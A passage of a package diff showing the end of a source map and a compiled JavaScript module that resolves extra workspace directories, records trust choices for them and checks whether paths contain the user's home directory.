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","names":[]}
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
import {
|
|
2
|
+
canonicalizePath,
|
|
3
|
+
realWorkspaceRoot
|
|
4
|
+
} from "./chunk-X66I2NQO.js";
|
|
5
|
+
import {
|
|
6
|
+
createDebugLogger
|
|
7
|
+
} from "./chunk-62QL5QUP.js";
|
|
8
|
+
import {
|
|
9
|
+
updateWorkspaceTrust
|
|
10
|
+
} from "./chunk-VPNLCMVR.js";
|
|
11
|
+
import {
|
|
12
|
+
resolveBookHome
|
|
13
|
+
} from "./chunk-ZPSZZUWF.js";
|
|
14
|
+
|
|
15
|
+
// src/additional-roots.ts
|
|
16
|
+
import { existsSync, realpathSync } from "fs";
|
|
17
|
+
import { homedir } from "os";
|
|
18
|
+
import { isAbsolute, relative, resolve, sep } from "path";
|
|
19
|
+
var log = createDebugLogger("additional-roots");
|
|
20
|
+
function realPathOfDirectory(workspace, declared) {
|
|
21
|
+
const absolute = isAbsolute(declared) ? resolve(declared) : resolve(workspace, declared);
|
|
22
|
+
if (!existsSync(absolute)) {
|
|
23
|
+
log.debug("ignoring declared directory that does not exist", { declared, resolved: absolute });
|
|
24
|
+
return void 0;
|
|
25
|
+
}
|
|
26
|
+
try {
|
|
27
|
+
return realpathSync.native(absolute);
|
|
28
|
+
} catch (error) {
|
|
29
|
+
log.debug("ignoring declared directory that cannot be resolved", {
|
|
30
|
+
declared,
|
|
31
|
+
resolved: absolute,
|
|
32
|
+
error: error instanceof Error ? error.message : String(error)
|
|
33
|
+
});
|
|
34
|
+
return void 0;
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
function collectDeclaredDirectories(workspace, declared) {
|
|
38
|
+
const seen = /* @__PURE__ */ new Set();
|
|
39
|
+
const out = [];
|
|
40
|
+
for (const entry of declared ?? []) {
|
|
41
|
+
const realPath = realPathOfDirectory(workspace, entry);
|
|
42
|
+
if (!realPath || seen.has(realPath)) continue;
|
|
43
|
+
seen.add(realPath);
|
|
44
|
+
out.push({ declared: entry, realPath });
|
|
45
|
+
}
|
|
46
|
+
return out;
|
|
47
|
+
}
|
|
48
|
+
function evaluateProjectDirectory(store, realPath) {
|
|
49
|
+
return store?.[realPath] ?? "unknown";
|
|
50
|
+
}
|
|
51
|
+
function partitionProjectDirectories(directories, store) {
|
|
52
|
+
const partition = { approved: [], pending: [], rejected: [] };
|
|
53
|
+
for (const directory of directories) {
|
|
54
|
+
const state = evaluateProjectDirectory(store, directory.realPath);
|
|
55
|
+
if (state === "approved") partition.approved.push(directory);
|
|
56
|
+
else if (state === "rejected") partition.rejected.push(directory);
|
|
57
|
+
else partition.pending.push(directory);
|
|
58
|
+
}
|
|
59
|
+
return partition;
|
|
60
|
+
}
|
|
61
|
+
function persistProjectDirectoryChoice(workspace, realPath, choice, options = {}) {
|
|
62
|
+
return updateWorkspaceTrust(
|
|
63
|
+
workspace,
|
|
64
|
+
(trust) => {
|
|
65
|
+
trust.projectDirectories[realPath] = choice;
|
|
66
|
+
},
|
|
67
|
+
options.trustStorePath
|
|
68
|
+
);
|
|
69
|
+
}
|
|
70
|
+
function resolveAdditionalRoots(workspace, declared) {
|
|
71
|
+
const realWorkspace = realWorkspaceRoot(workspace);
|
|
72
|
+
const roots = [];
|
|
73
|
+
const seen = /* @__PURE__ */ new Set();
|
|
74
|
+
for (const entry of collectDeclaredDirectories(workspace, declared)) {
|
|
75
|
+
const fromWorkspace = relative(realWorkspace, entry.realPath);
|
|
76
|
+
if (!isAbsolute(fromWorkspace) && fromWorkspace !== ".." && !fromWorkspace.startsWith(`..${sep}`)) {
|
|
77
|
+
log.debug("dropping declared directory the workspace already serves", {
|
|
78
|
+
declared: entry.declared,
|
|
79
|
+
realPath: entry.realPath
|
|
80
|
+
});
|
|
81
|
+
continue;
|
|
82
|
+
}
|
|
83
|
+
if (seen.has(entry.realPath)) continue;
|
|
84
|
+
seen.add(entry.realPath);
|
|
85
|
+
roots.push(entry.realPath);
|
|
86
|
+
}
|
|
87
|
+
return roots;
|
|
88
|
+
}
|
|
89
|
+
function rootHoldsHome(root, homes = homeGuards()) {
|
|
90
|
+
return homes.some((home) => containsPath(root, home));
|
|
91
|
+
}
|
|
92
|
+
function homeGuards() {
|
|
93
|
+
const homes = [];
|
|
94
|
+
for (const home of [resolveBookHome(), homedir()]) {
|
|
95
|
+
const real = canonicalizePath(home);
|
|
96
|
+
if (real && !homes.includes(real)) homes.push(real);
|
|
97
|
+
}
|
|
98
|
+
return homes;
|
|
99
|
+
}
|
|
100
|
+
function pathHoldsHome(canonicalPath, homes = homeGuards()) {
|
|
101
|
+
return homes.some((home) => containsPath(home, canonicalPath));
|
|
102
|
+
}
|
|
103
|
+
function containsPath(root, target) {
|
|
104
|
+
const fromRoot = relative(canonicalizePath(root), canonicalizePath(target));
|
|
105
|
+
return !(fromRoot === ".." || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot));
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
export {
|
|
109
|
+
realPathOfDirectory,
|
|
110
|
+
collectDeclaredDirectories,
|
|
111
|
+
evaluateProjectDirectory,
|
|
112
|
+
partitionProjectDirectories,
|
|
113
|
+
persistProjectDirectoryChoice,
|
|
114
|
+
resolveAdditionalRoots,
|
|
115
|
+
rootHoldsHome,
|
|
116
|
+
homeGuards,
|
|
117
|
+
pathHoldsHome,
|
|
118
|
+
containsPath
|
|
119
|
+
};
|
|
120
|
+
//# sourceMappingURL=chunk-525CAZPY.js.map
|